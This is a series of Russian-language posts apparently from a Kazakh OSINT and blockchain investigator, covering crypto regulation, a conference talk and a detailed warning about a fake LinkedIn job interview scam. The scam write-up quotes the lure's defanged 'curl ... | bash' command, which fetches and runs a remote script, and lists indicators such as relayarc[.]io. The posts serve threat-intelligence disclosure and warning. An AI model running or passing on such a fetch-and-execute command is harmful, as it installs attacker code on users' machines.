Прочитайте и поймите, что не надо качать подозрительные приложения)
Ну и в целом приложения от неизвестных разработчиков
(особенно если вас об этом попросили)

🇰🇿 AFSA и Генпрокуратура Казахстана формализовали сотрудничество по расследованиям преступлений с цифровыми активами

Ну всё, ребята, теперь даже по мелкому блечить не получится, вас всех найдут

AFSA почему-то до сих пор не написали с просьбой у них работать…

Начальники, рекрутеры - я жду ваших предложений и рефералок.

Давайте уже наводить криптодвиж и делать KZ лучше, пока я не уехал делать Америку лучше.

Если у вас есть интересные задачи на стыке OSINT / blockchain investigations / CTI - вы знаете, где меня найти)

Казахстан теперь разрешает иностранцам использовать крипту для участия в Investment Tax Residency Programme через AIFC

С 13 августа можно держать от $150 000 в digital assets через AFSA-licensed платформу и использовать это как qualifying investment. Дальше при выполнении условий - инвесторская виза до 5 лет и налоговое резидентство Казахстана, где достаточно 90 дней присутствия вместо стандартных 183.

То есть условному инвестору не обязательно продавать BTC и перекладываться в локальный актив ради residency - часть капитала можно оставить в крипте

Выглядит как довольно сильный ход со стороны Казахстана)

Хороший был год в SOC, но пора двигаться дальше

Внуково закрыли и я теперь застрял в аэропорту на неопределенный срок. Чувствую себя Виктором Наворски

UPD: в 09:15 объявили посадку, до встречи в Москве

Это было одно из моих первых выступлений именно с собственным исследованием, и, если честно, выступать с ним на OFFZONE было дико страшно. Всё-таки такая площадка, конференция и довольно непростая тема.

Многое пришлось сильно урезать: что-то из-за небольшого временного слота, а что-то - из соображений безопасности. В какой-то момент меня ещё и довольно сильно накрыла паничка, было жарковато во всех смыслах :) Но я закончил доклад и дошёл до конца.

Отдельное спасибо OSINT Mindset - людям, которые для меня уже давно не просто комьюнити, а очень близкие друзья. И спасибо моим близким, которые остались в Казахстане и поддерживали меня на расстоянии.

Огромное спасибо организаторам Community Zone за возможность выступить и за весь этот движ. И отдельно ENZO - за поддержку и за то, сколько сил она вложила во всё это.

В такие моменты особенно понимаешь, насколько важно, какие люди находятся рядом. Я правда очень ценю вас и счастлив быть рядом с вами.

Ну и для тех, кто всё-таки ждёт продолжение исследования в виде полноценной статьи - надеюсь, дождётесь конца сентября. Там уже получится нормально развернуть всю историю, показать то, что не вошло в доклад, и добавить намного больше технических деталей.

Будет очень круто и интересно.

Кстати, забавный момент после выступления. Подходили ребята, которые до этого видели меня на Standoff Talks, и сразу заметили, что в этот раз всё было немного иначе 😄

Пару человек такие: «Мы тебя на Standoff Talks видели, ты там вообще по-другому выступал».

Я рассказал, что в этот раз сильно перенервничал уже непосредственно на сцене, плюс тема была намного тяжелее для подачи и многое пришлось ужать в короткий слот.

И у них сразу такое: «Ааа, ну тогда понятно»

На самом деле было даже приятно, что люди, которые видели прошлое выступление, сами заметили разницу. Значит, есть с чем сравнивать и куда дальше расти

Как вакансия Blockchain Analyst закончилась curl | bash

Несколько дней назад я откликнулся на вакансию Blockchain Analyst в WhatIf через LinkedIn. На первый взгляд всё выглядело нормально: полноценное описание роли, Web3/blockchain research, on-chain analytics, remote US, зарплата $85k–125k в год. Сама вакансия действительно была опубликована от страницы WhatIf в LinkedIn. LinkedIn

У компании тоже есть нормальный публичный след: страница существует не первый день, WhatIf указывает 2019 год основания, Dubai, размер 2–10 сотрудников и blockchain среди направлений работы.
Вакансия Blockchain Analyst
LinkedIn WhatIf
После отклика мне написал человек под именем Emma Martin с адреса, отображавшегося как emma.martin@whatif.capital.

Первое письмо вообще без красных флагов: когда готов выйти, могу ли работать remote, сколько хочу денег, сколько лет опыта и что из моего опыта наиболее релевантно позиции.

После этого назначили интервью через RelayArc.
RelayArc
Первый странный момент - с телефона на встречу зайти нельзя вообще. Страница прямо говорит: Desktop required.

Ладно. Открываю ссылку с Mac, попадаю в вполне прилично сделанный интерфейс видеозвонка. На другой стороне - Emma Martin.
Только довольно быстро становится понятно, что никакого нормального разговора там нет.

Видео выглядит записанным, а через несколько минут в чате начинается сценарий:
“Can you see and hear me okay?”
Потом:
“I still cannot hear you…”
И наконец предложение воспользоваться встроенным microphone troubleshooting.

Начинается непосредственно delivery.
RelayArc сообщает, что браузер якобы не смог определить микрофон и для полноценного аудио необходимо установить RelayArc for Mac.
Кнопка большая, всё выглядит как обычный troubleshooting какого-нибудь Zoom.
Нажимаем Download App - и внезапно вместо .dmg, App Store или хотя бы подписанного installer получаем инструкцию:

открыть Terminal и выполнить одну команду.
На странице была команда вида:
curl -kfsSL hxxps://download-storage[.]com/... | bash

То есть сервис предлагает скачать содержимое с другого домена и сразу передать его на выполнение в bash.

На этом «интервью» можно было заканчивать.

Получилась довольно аккуратная цепочка:
LinkedIn vacancy → recruiter → screening → scheduled interview → fake video call → искусственная проблема с микрофоном → “desktop app” → curl | bash

Месяц назад другой человек описывал очень похожую Web3 recruitment-схему: вакансия через LinkedIn, затем интервью на неизвестной meeting-платформе Werknova, а recruiter представлялся тем же именем - Emma Martin. Он тоже заметил, что взаимодействие выглядело заранее записанным.

Я пока не утверждаю, что сама WhatIf стоит за этой кампанией. Здесь ещё надо разбираться отдельно: действительно ли письмо было аутентифицировано инфраструктурой whatif.capital, был ли скомпрометирован корпоративный аккаунт/домен или использовалась другая схема.

Но сам infection flow уже достаточно очевиден.

IOC / артефакты на текущий момент:
relayarc[.]io
Persona: Emma Martin
Lure: Blockchain Analyst / Web3 recruitment
Execution: remote shell script via curl ... | bash

Но теперь уже интересно посмотреть, что именно они пытались поставить, куда ходит скрипт, что он собирает и пересекается ли инфраструктура RelayArc с другими fake-interview кампаниями

Так что продолжение, скорее всего, будет)

Загружаю все доказательства, секунду)

фулл)